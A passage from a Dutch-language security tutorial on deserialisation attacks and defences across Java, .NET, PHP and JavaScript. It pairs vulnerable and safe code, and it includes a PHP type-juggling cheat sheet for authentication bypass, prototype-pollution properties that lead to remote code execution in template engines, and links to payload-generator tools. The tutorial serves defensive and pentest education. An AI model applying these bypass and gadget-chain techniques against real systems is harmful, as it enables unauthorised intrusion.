var settings = new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.None // NOOIT Auto/Objects/All
};PHP:
<?php
// Gebruik allowed_classes parameter (PHP 7+)
$obj = unserialize($data, ['allowed_classes' => ['User', 'Product']]);
// Of beter: gebruik helemaal geen unserialize() op user input
// Gebruik JSON:
$data = json_decode($input, true);3. Integriteitscontroles
Voeg een HMAC (Hash-based Message Authentication Code) toe aan geserialiseerde data. Als de data is gewijzigd, detecteer je dat voor deserialisatie:
// Voor serialisatie
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(secretKey);
byte[] signature = mac.doFinal(serializedData);
// Stuur serializedData + signature
// Voor deserialisatie
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(secretKey);
byte[] expectedSignature = mac.doFinal(receivedData);
if (!MessageDigest.isEqual(expectedSignature, receivedSignature)) {
throw new SecurityException("Data is gewijzigd!");
}4. Verwijder onnodige gadgets van het classpath
In Java: als je Apache Commons Collections niet actief gebruikt, verwijder het dan van je classpath. Geen gadgets op het classpath = geen gadget chains.
5. Upgrade
Veel van deze kwetsbaarheden zijn gefixt in nieuwere versies: - PHP
8.0 heeft het meeste type juggling gedrag verwijderd -
lodash.merge filtert __proto__ sinds versie
4.6.2 - .NET’s BinaryFormatter is deprecated en verwijderd
in .NET 9 - Java’s serialisatie-filters (JEP 290) zijn beschikbaar sinds
Java 9
Taalspecifieke verdediging
Java:
// NIET:
ObjectInputStream ois = new ObjectInputStream(untrustedStream);
Object obj = ois.readObject();
// WEL: gebruik JSON (Jackson, Gson) met POJOs
ObjectMapper mapper = new ObjectMapper();
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
// Deserialiseer naar een specifiek type, niet naar Object
User user = mapper.readValue(jsonString, User.class);.NET:
// NIET:
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream);
// NIET:
var settings = new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.Auto
};
// WEL: System.Text.Json (geen TypeNameHandling)
var user = JsonSerializer.Deserialize<User>(jsonString);PHP:
<?php
// NIET:
$obj = unserialize($_COOKIE['session']);
// WEL: JSON
$data = json_decode($_COOKIE['session'], true);
// NIET:
if (md5($input) == $stored_hash) { ... }
// WEL: strict comparison en password_verify
if (password_verify($input, $stored_hash)) { ... }JavaScript:
// NIET: kwetsbare deep merge
function merge(target, source) {
for (let key in source) {
target[key] = source[key]; // Polluted!
}
}
// WEL: filter prototype keys
function safeMerge(target, source) {
for (let key of Object.keys(source)) {
if (key === '__proto__' || key === 'constructor') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = target[key] || {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// OF: gebruik Object.create(null) voor prototype-loze objecten
const safeStore = Object.create(null);
// OF: gebruik Map
const safeMap = new Map();Referentietabel
Deserialisatie-aanvallen per taal
| Taal | Sink | Detectie | Gadget tool | Verdediging |
|---|---|---|---|---|
| Java | ObjectInputStream.readObject() |
AC ED 00 05 / rO0AB |
ysoserial | JEP 290 filters, whitelist classes |
| .NET | BinaryFormatter.Deserialize() |
Base64 in ViewState/cookies | ysoserial.net | System.Text.Json, geen
TypeNameHandling |
| PHP | unserialize() |
O: prefix in data |
PHPGGC | json_decode(), allowed_classes |
| Python | pickle.loads() |
\x80\x05 header |
— | json.loads(), nooit pickle op user input |
| Ruby | Marshal.load() |
\x04\x08 header |
— | JSON.parse() |
Magic bytes voor detectie
| Formaat | Hex | Base64 prefix |
|---|---|---|
| Java serialized | AC ED 00 05 |
rO0ABQ |
| .NET BinaryFormatter | Variabel | Variabel (check ViewState) |
| Python pickle (v5) | 80 05 |
gAU |
| Ruby Marshal (4.8) | 04 08 |
BAg |
| PHP serialized | Leesbaar: O:, a:, s: |
N/A (tekst) |
PHP type juggling cheat sheet
| Expressie | Resultaat | Waarom |
|---|---|---|
"0e123" == "0e456" |
true |
Beide zijn 0 in scientific notation |
true == "anything" |
true |
Bool true == elke niet-lege string |
0 == "php" |
true (< 8.0) |
“php” cast naar int 0 |
"" == null |
true |
Lege string is null-achtig |
"0" == false |
true |
String “0” is falsy |
[] == null |
false |
Array is niet null |
strcmp([], "str") |
NULL |
strcmp crasht op arrays |
NULL == 0 |
true |
NULL cast naar int 0 |
Prototype pollution RCE chains
| Template engine | Polluted property | Impact |
|---|---|---|
| EJS | outputFunctionName |
RCE via template render |
| Pug | block |
RCE via template compile |
| Handlebars | pendingContent |
RCE via compiler |
| Nunjucks | env |
RCE via environment |
IB Command referentie
| Commando | Categorie | Kernfunctie |
|---|---|---|
web_deser_java |
Java deserialisatie | ysoserial payloads, gadget chains, HSQLDB |
web_deser_dotnet |
.NET deserialisatie | ysoserial.net, DNN, ViewState |
web_type_juggle |
PHP type juggling | Magic hashes, JSON confusion, strcmp bypass |
web_prototype_pollution |
JS prototype pollution | __proto__ injection, template RCE |
Tools
| Tool | URL | Gebruik |
|---|---|---|
| ysoserial | https://github.com/frohoff/ysoserial |
Java deserialisatie payloads |
| ysoserial.net | https://github.com/pwntester/ysoserial.net |
.NET deserialisatie payloads |
| PHPGGC | https://github.com/ambionics/phpggc |
PHP gadget chain payloads |
| marshalsec | https://github.com/mbechler/marshalsec |
Diverse marshalling-formaten |
| JNDI-Exploit-Kit | Diverse repos | JNDI injection (Log4Shell-stijl) |
Samenvatting
Deserialisatie is het probleem dat ontstaat wanneer we vergeten dat niet alle koffers door vrienden worden ingepakt. We nemen binaire blobs, JSON met type-hints, en PHP-strings van het internet, en we bouwen er objecten van in het geheugen van onze server. Objecten die methoden hebben. Objecten die dingen doen.
Java’s gadget chains laten zien hoe bestaande bibliotheken aan elkaar
geketend kunnen worden tot een remote code execution machine. .NET’s
BinaryFormatter en ViewState bewijzen dat het probleem niet
taalgebonden is. PHP’s type juggling demonstreert dat je niet eens
deserialisatie nodig hebt — een == in plaats van
=== is genoeg om authenticatie te omzeilen. En JavaScript’s
prototype pollution toont aan dat het verrijken van de prototype-keten
van alle objecten in een applicatie slechts een __proto__
property verwijderd is.
De verdediging is conceptueel eenvoudig: vertrouw geen data van de
gebruiker om objecten te construeren. Gebruik type-safe formaten zonder
class-informatie. Whitelist wat er gedeserialiseerd mag worden. Valideer
integriteit met HMACs. En als je PHP schrijft, gebruik dan
===. Altijd. Overal. Geen uitzonderingen.
IB Tip finale: Bij een pentest, zoek systematisch naar deserialisatie-sinks. In Java: grep op
readObject,XMLDecoder,fromXML. In .NET: grep opBinaryFormatter,TypeNameHandling,JavaScriptSerializer. In PHP: grep opunserialize,__wakeup,__destruct. In Node.js: grep opmerge,extend,__proto__. De sink vertelt je waar de bom tikt. De gadgets vertellen je hoe je de lont aansteekt.